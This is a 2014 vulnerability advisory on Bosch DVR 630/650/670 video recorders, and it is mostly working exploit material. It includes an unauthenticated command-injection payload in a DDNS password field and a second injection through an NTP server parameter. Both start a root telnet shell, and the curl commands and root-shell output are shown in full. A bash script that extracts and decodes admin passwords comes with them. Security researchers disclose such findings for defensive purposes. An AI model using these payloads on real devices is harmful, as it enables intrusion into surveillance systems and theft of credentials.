:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2014-10-01 ] ########################################## # [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities # ########################################## # # Device: "The Bosch Video Recorder 630/650 Series is an 8/16 # channel digital recorder that uses the latest H.264 # compression technology. With the supplied PC # software and built-in web server, the 630/650 Series is # a fully integrated, stand-alone video management # solution that's ready to go, straight out of the box. # Available with a variety of storage capacities, the # 630/650 Series features a highly reliable embedded # design that minimizes maintenance and reduces # operational costs. The recorder is also available with a # built-in DVD writer." # # Vendor: http://www.boschsecurity.com/ # Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf # DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf # # Software Download: # http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip # http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip # # Timeline: 2014-10-01 Vulnerability discovered # 2014-10-03 1 Contact with vendor - No response # 2014-10-14 Published # # ################################################################### # Gaining Root Shell Access [1]: POST /Net_work.xml HTTP/1.1 Accept: */* Accept-Language: pl Referer: http://10.11.219.2/network.html Content-Type: text/xml; charset=UTF-8 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Host: 10.11.219.2 Content-Length: 1274 DNT: 1 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: MosaLanguage=0; session= <NETWORK_SETTING> <DHCP>0</DHCP> <DHCPIP>10.11.219.2</DHCPIP> <DHCPMASK>255.255.255.0</DHCPMASK> <DHCPGW>10.11.219.1</DHCPGW> <DHCPDNS1>0.0.0.0</DHCPDNS1> <DHCPDNS2>0.0.0.0</DHCPDNS2> <IP>10.11.219.2</IP> <MASK>255.255.255.0</MASK> <GW>10.11.219.1</GW> <DNS1>0.0.0.0</DNS1> <DNS2>0.0.0.0</DNS2> <HTTP_PORT>80</HTTP_PORT> <BANDWIDTH>0</BANDWIDTH> <DDNS_SERVER>1</DDNS_SERVER> <DYNDNS_HOST>wxss</DYNDNS_HOST> <DYNDNS_USER>ffl</DYNDNS_USER> <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD> <TZO_HOST></TZO_HOST> <TZO_MAIL></TZO_MAIL> <TZO_KEY></TZO_KEY> <SITE_HOST>sdads</SITE_HOST> <SITE_PWD>dsadsd</SITE_PWD> <SITE_RECORDID>sdasdas</SITE_RECORDID> <SITE_FQDN>dasdas</SITE_FQDN> <ALARM_ON>0</ALARM_ON> <MOTION>0</MOTION> <DISK_FAIL>0</DISK_FAIL> <DISK_FULL>0</DISK_FULL> <FAN_FAIL>0</FAN_FAIL> <DISK_TEMP>0</DISK_TEMP> <ADMIN_PW>0</ADMIN_PW> <VIDEO_LOSS>0</VIDEO_LOSS> <POWER>0</POWER> <SENDER>0</SENDER> <SMTP></SMTP> <SMTP_PORT>25</SMTP_PORT> <SSL>0</SSL> <USERNAME></USERNAME> <PWD></PWD> <SENDER_MAIL></SENDER_MAIL> <SUBJECT></SUBJECT> <MAIL_1></MAIL_1> <MAIL_2></MAIL_2> <MAIL_3></MAIL_3> <MAIL_TEST>0</MAIL_TEST> </NETWORK_SETTING> ## PoC: root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \ -b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \ <DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \ <DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \ <DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \ <DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \ <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \ <TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \ <SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \ <MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \ <DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \ <SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \ <PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \ <MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml' root@debian:~# telnet 10.11.219.2 30 Trying 10.11.219.2... Connected to 10.11.219.2. Escape character is '^]'. BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / # id uid=0(root) gid=0(root) / # uname -a Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown / # ps |grep telnet 2827 root 228 S telnetd -l/bin/sh -p30 / # netstat -ltn | grep 30 tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN / # echo pwnd & exit pwnd Connection closed by foreign host. root@debian:~# ################################################################### # Gaining Root Shell Access (authorization is needed) [2]: GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1 Accept: */* Accept-Language: pl Referer: http://10.11.219.2/system.html Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Host: 10.11.219.2 DNT: 1 Proxy-Connection: Keep-Alive Cookie: MosaLanguage=0; session= ## PoC: root@debian:~# curl -i -s -k -X 'GET' \ -H 'Referer: http://10.11.219.2/system.html' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \ -b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id' root@debian:~# telnet 10.11.219.2 40 Trying 10.11.219.2... Connected to 10.11.219.2. Escape character is '^]'. BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / # id uid=0(root) gid=0(root) / # uname -a Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown / # ps |grep telnet 2827 root 228 S telnetd -l/bin/sh -p40 / # netstat -ltn | grep 40 tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN / # echo pwnd & exit pwnd Connection closed by foreign host. root@debian:~# ################################################################### # Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user ## PoC Exploit: #!/bin/bash x=0; for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g'); do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done ################################################################### # Sensitive Information Disclosure: http://10.11.219.2/Config.cgi?cmd=system_info http://10.11.219.2/System.xml http://10.11.219.2/Net_work.xml http://10.11.219.2/webcmd.html / # cat /4mosa600/data/Webcmd_help.txt cmd value (sample) ====================+========================== blockid | 0 ~ block max // show block info and flag and gop status. --------------------+------------------------- disk | // show disk temp. --------------------+------------------------- reboot | // restart DVR. --------------------+------------------------- remote-info | // socket status. --------------------+------------------------- log | 1: System // show system log. | 2: Record | 4: Login | 8: Configure | 16: Operation | 31: All | 63: Service --------------------+------------------------- ionly | 1~12 how many frames in a GOP will send to internet | 0: all I/P-frame (default) | 1: I only | 2: IP | 3: IPP | 4: IPPP | .... | 12: IPPPPPPPPPPP | others: show current value on DVR. --------------------+------------------------- chlink | 0~MKF_CHANNEL // show channel link. --------------------+------------------------- bitrate | // show bitrate information. --------------------+------------------------- dls | // show about time and DLS message. --------------------+------------------------- bmp | // dump bmp file to http://x.x.x.x/vga0.bmp --------------------+------------------------- msg | This is bitmap | bit 0 show encode FPS and Bitrate. | bit 1 show encode resolution.(dependent bit 1) | bit 2 show remote client mesage. | bit 3 show ptz command. | bit 4 cpu and memory usage.. --------------------+------------------------- remote-cgi | 0 disable all cgi command. | 1 show all cgi command to console. | 2 show cig command if not "login_id" --------------------+-------------------------